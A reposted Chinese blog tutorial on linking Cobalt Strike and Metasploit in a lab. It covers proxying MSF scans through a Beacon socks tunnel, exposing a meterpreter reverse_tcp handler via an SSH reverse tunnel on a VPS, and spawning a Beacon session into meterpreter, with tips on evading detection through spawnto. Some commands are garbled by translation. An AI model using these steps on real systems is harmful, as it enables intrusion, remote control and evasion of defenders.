转载自snowming 04’s blog
0x01准备工作受害主机：在关闭Windows Defender和所有其他软件的情况下，在windows10主机下进行的实验。 MSF :本地kaliCobalt Strike团队服务器： ubuntuvpscobaltstrike:3.143358 www.Sina.com /
团队服务器：
客户端：
我关闭了所有的软件和Windows Defender，所以没有必要杀人。
一些朋友不知道Windows Executable和windowsexecutable(s )的区别。 根据官方文档，Windows Executable生成stager，而windowsexecutable(s )是stageless，相当于直接生成stage。 这涉及逐步发送payload的概念，不太说明。 我觉得选择windows执行(s )比较好。 因为payload stager由于其体积，没有内置的安全特性。 所以不分阶段能做的就是不分阶段。
然后点击在线。
点击在线，可以进行基本的配置。 设定“抖动系数”或启用“交互模式”。
这两个概念公式手册上都有写。 以下部分摘自cs官方文档。 已翻译：
请注意，Beacon是异步支付。 命令不会立即执行。 每个命令先进入队列。 当信标连接到你的时候。 下载这些命令，然后逐一运行。 此时，Beacon将向你报告所有输出。 如果输入错误，请使用clear命令清理当前Beacon的命令队列。
默认情况下，Beacon每60秒连接到你一次。 可以使用Beacon的sleep命令更改此时间设置。 使用以下sleep秒数指定信标连接到您的频率： 也可以指定第二个参数。 此参数必须是0到99之间的数字。 这个数字就是抖动系数。 Beacon根据你指定的抖动因子的比例，随机改变下一次连接你的时间。 例如，sleep 300 20指令使信标睡眠300秒并具有20%的抖动因子。 也就是说，信标每次连接你都会随机睡眠240 - 300秒。
要允许Beacon每秒多次连接到你，请使用sleep 0命令。 这就是“交互模式”。 在此模式下，命令将立即运行。 在隧道流量通过它之前，信标必须处于交互模式。 某些Beacon命令(如browerpivot和桌面)将自动在下次连接到您时使Beacon进入交互式模式。
所以我把它设置为交互模式：
0x02虽然用beacon内置的socks功能将本地Msf直接代入目标内部网进行操作准备工作并不是一点小事，但我相信这些都可以做到。 然后开始了CS和MSF的联动。
为什么需要CS和MSF的联动呢？ 主要是两个框架的侧重点不同。 虽然我们有Beacon，但我们有时需要借用MSF的scanner、exploit等功能模块，但CS侧重于后渗透、团队合作。
MSF是当地Kali拥有的msf5:
首先，在控制目标内部网络设备的Beacon下触发socks。
beacon getuidbeacon socks 1080
然后，通过View Proxy Pivots复制被生成的MSF代理链接。
可以在本地启动MSF，悬挂上面生成的代理链接，直接对目标内部网络进行各种检查：
msfsetgproxiessocks 4:1 xx.1xx.57.7033601080将本地MSF与上面的cs的socks代理msf setg ReverseAllowProxy true双向通道MSFuseauxiliary/意味着建设scanner，smb_version只需携带msf中的各种探测模块成功检测目标内部网络即可。 例如，如果在目标网络的所有Windows计算机的详细系统版本、计算机名称和所属域msf set rhosts 192.168.56.0/24中指定了CIDR格式的目标内部网段，则例如，CIDR格式的目标内部网段0/16.msf set threads 1线程不应太大。 根据目标的实际情况，可以控制在10以内的msf run
根据情况加强或减弱掩码，缩小或扩大要扫描的子网范围。
总之，这个方法是你先有CS Beacon
shell，然后通过 socks 代理，把受害主机的流量代理到本地的 msf，然后本地 msf 就可以进行一些内网探测或漏洞利用。 0x03 尝试借助 CS 的外部 tcp 监听器通过 ssh 隧道直接派生一个 meterpreter 的 shell 到本地铺垫知识：
铺垫知识很长，但只有先了解铺垫知识，后面的操作才会更好理解。
1、 CS Foreign Listener
在这里要借助 CS 的 Foreign 监听器。如图是 CS 3.14 的监听器截图（CS 4.0的监听器类别有了较大改变）：
以下内容引自 cs 官方文档，我做了一下翻译：
其中，Foreign 监听器支持与其他软件的监听器进行派生（spawn），如 msf 的 multi/handler。
将监听器设置为 foreign 并指定主机和端口后可以将 Cobalt Strike 的 payload 生成的会话转移到 msf 中。
2、 CS 通讯模型
首先要明确的一点是，所谓 CS+MSF 的联动，用大白话来说就是流量转发。
流量转发是 CS 与 MSF 之间的事情，与受害主机的 Beacon 无关。完全是 CS 服务器与 MSF 服务器这二者之间的流量转发。
因为 CS 是 C/S 架构的，那么就牵扯出一个问题：CS 转发流量到 MSF（或相反的方向），流量是 MSF 和 CS 客户端直连呢？还是走的 CS 的团队服务器进行转发呢？
这个就会涉及到 CS 的通讯模型：
上图来自 Klion 的文章，是我们的客户端与团队服务器的通讯模型。
以下内容来自 cs 官方手册，本人做了微小的翻译工作：
Cobalt Strike 采取措施保护 Beacon 的通信，确保 Beacon 只能接收来自其团队服务器的任务并且只能将结果发送至其团队服务器。
首次设置 Beacon payload 时，Cobalt Strike 会生成一个团队服务器专有的公钥/私钥对。团队服务器的公钥会嵌入 Beacon 的 payload stage。Beacon 使用团队服务器的公钥来加密发送到团队服务器的会话元数据。
Beacon 必须在团队服务器可以发出和接收来自 Beacon 会话的输出之前持续发送会话元数据。此元数据包含一个由 Beacon 生成的随机会话秘钥。团队服务器使用每个 Beacon 的会话秘钥来加密任务并解密输出。
每个 Beacon 都使用此相同的方案来实现数据通道。当在混合 HTTP 和 DNS Beacon 中使用记录数据通道时，有和使用 HTTPS Beacon 同样的安全保护。
请注意，当 Beacon 分阶段时， payload stager 因为其体积原因，没有这些内建的安全特性。
监听器是 Cobalt Strike 与 bot 之间进行通讯的核心模块。同时是 payload 的配置信息以及告诉 Cobalt Strike 服务器以从 payload 收连接指令。其实是位于 payload 配置上一层的抽象概念。
监听器由用户定义的名称、payload 类型、主机、端口及其他信息组成，用于定义 payload 的存放位置。
虽然这些话说的很抽象，但是总之概括其意思，就是说：
CS 的通讯模型中，客户端不会直接与 payload 进行连接，都是必须经过团队服务器的。以团队服务器为中介，这是 CS 设计的一种的安全机制。
所以对于此问题：
CS 转发流量到 MSF（或相反的方向），流量是 MSF 和 CS 客户端直连呢？还是走的 CS 的团队服务器进行转发呢？
答案应该是：CS 与 MSF 之间的流量转发，其实是 CS 团队服务器与 MSF 之间的流量转发。客户端作为第三方只是与 CS 团队服务器进行交互。
这样就清楚多了，确定了流量转发的双方对象为：
CS 团队服务器（后文简称 TS）MSF 服务器那么根据实际情况的网络环境就会有如下这些可能的场景（CS团队服务器一般不会开在本地）：
CS TS 在公网、MSF 在本地CS TS 在公网、MSF 在公网MSF 在公网的情况比 MSF 在本地的情况相对更好转发一些。因为如果 MSF 在本地，没有公网 IP 地址，要想把 CS TS 的流量发到 MSF，就需要额外的处理。
3、 Spawn
下面是 cs 官方手册中关于 spawn 的介绍，我同样做了一点微小的翻译工作：
Cobalt Strike 的 Beacon 最初是一个稳定的生命线，让你可以保持对受害主机的访问权限。从一开始，Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。
使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个结构（如：x86，x64）和一个监听器作为其参数。
默认情况下，spawn 命令会在 rundll32.exe 中派生一个会话。管理员通过查看告警可能会发现 rundll32.exe 定期与 Internet 建立连接这种异常现象。为了更好的隐蔽性，你可以找到更合适的程序（如 Internet Explorer） 并使用 spawnto 命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。
注：拓展阅读——DllMain与rundll32详解，倾旋的博客，倾旋，2019年10月2日
个人理解，实际上就是这种过程：
lcdbd对某个 Beacon 选择了 spawn，就是派生，之后会让你选择一个 Listener：
Listener 就是位于 payload 配置上一层的抽象概念，也就是告诉 CS 团队服务器从 payload 收连接指令的地方，定义了 payload 的存放位置。
通过对某个 Beacon 指定 Listener 进行派生，我们生成了新的会话。这个意思就是让受害主机的 rundll32.exe 这个程序定期与我们指定在这个 Listener 中的地址、端口进行连接，进行指令的收发。
顺便多说一句，在 CS 中，将 payload 注入到内存中的命令除了 spawn，还有 inject。
具体操作：
理解了前面的铺垫知识，下面的操作就很好理解了。
第一步： 在本地 MSF上创建监听器
到本地机器把 msf 起起来,并创建如下监听器：
msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp 注: 此处的协议格式务必要和上面 cs 外部监听器的协议对应,不然 meter 是无法正常回连的 msf > set lhost 192.168.113.131 注：这里填本地 MSF 服务器的 IP 地址msf > set lport 8080 msf > exploit这样就在本地 MSF 上创建了一个监听器。
第二步：给本地 MSF 一个公网地址
这里通过 SSH 隧道转发：
在一台公网 VPS 上编辑 sshd 配置，开启 ssh 转发功能,重启 ssh 服务，这是所有使用 ssh 隧道转发前的必备操作：
# vi /etc/ssh/sshd_config AllowTcpForwarding yes GatewayPorts yes TCPKeepAlive yes PasswordAuthentication yes # systemctl restart sshd.service再次回到自己本地的 Kali 中并通过 ssh 隧道做好如下转发：
# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.113.131:8080 root@x.x.57.70 -p 27035上面命令的意思就：
1. 通过 x.x.57.70 这台机器把来自外部的 8080 端口流量全部转到我本地 192.168.113.131 的 8080 端口上；
2. 而本地 192.168.113.131 的 8080 端口上跑的又正好是 meterpreter 的监听器；
3. 所以，最终才会造成 meterpreter 本地上线的效果。
隧道建立之后，习惯性的到 vps 上去看一眼，刚才通过隧道监听的 8080 端口到底有没有起来，确实起起来了才说明隧道才是通的。另外，监听的端口不能和 vps 机器上的现有端口冲突，否则隧道是建不成功的。
# netstat -tulnp | grep '8080'如图就是建立成功了。
第三步： 在 CS 上创建外部监听器
在 cs 上创建一个 tcp 的 foreign listener，回连端口设为 8080：
TCP 就可以，如果是 HTTP 或 HTTPS，最好用域名而不是 IP。
这里的 MSF 的公网地址，就是第二步中通过 SSH 隧道转发到的 VPS 的公网地址。
之所以要生成这个外部监听器，是因为后面我们要使用 spawn 命令，把会话转移到 MSF 的服务器上。listener 是 spawn 命令的参数。
如果我们的 MSF 是跑在公网服务器上的话，就可以省去第二步中 SSH 隧道从公网 VPS 转发流量到本地的那步操作。
注：我看到在一些文章中，还会加一个监听器，用于监听团队服务器。可能是因为以为只能有一个会话，但是经本人测试，会话 spawn 到 msf 上之后，本地 CS 客户端依然可以操作。所以就不必多开一个对 CS TS 的监听器了。
第四步：spawn
派生会话的操作很简单：
对 Beacon 选择 spawn 选项（或在 Beacon shell 命令行里面输入 spawn）：
为其选择 MSF 的 listener 作为参数：
回到本地 MSF，就会发现相应目标机器的 meterpreter 已经被直接弹回到了本地：
总之，我们完成了这样一个操作，从而实现了从 CS Beacon 到本地 MSF meterpreter 的派生：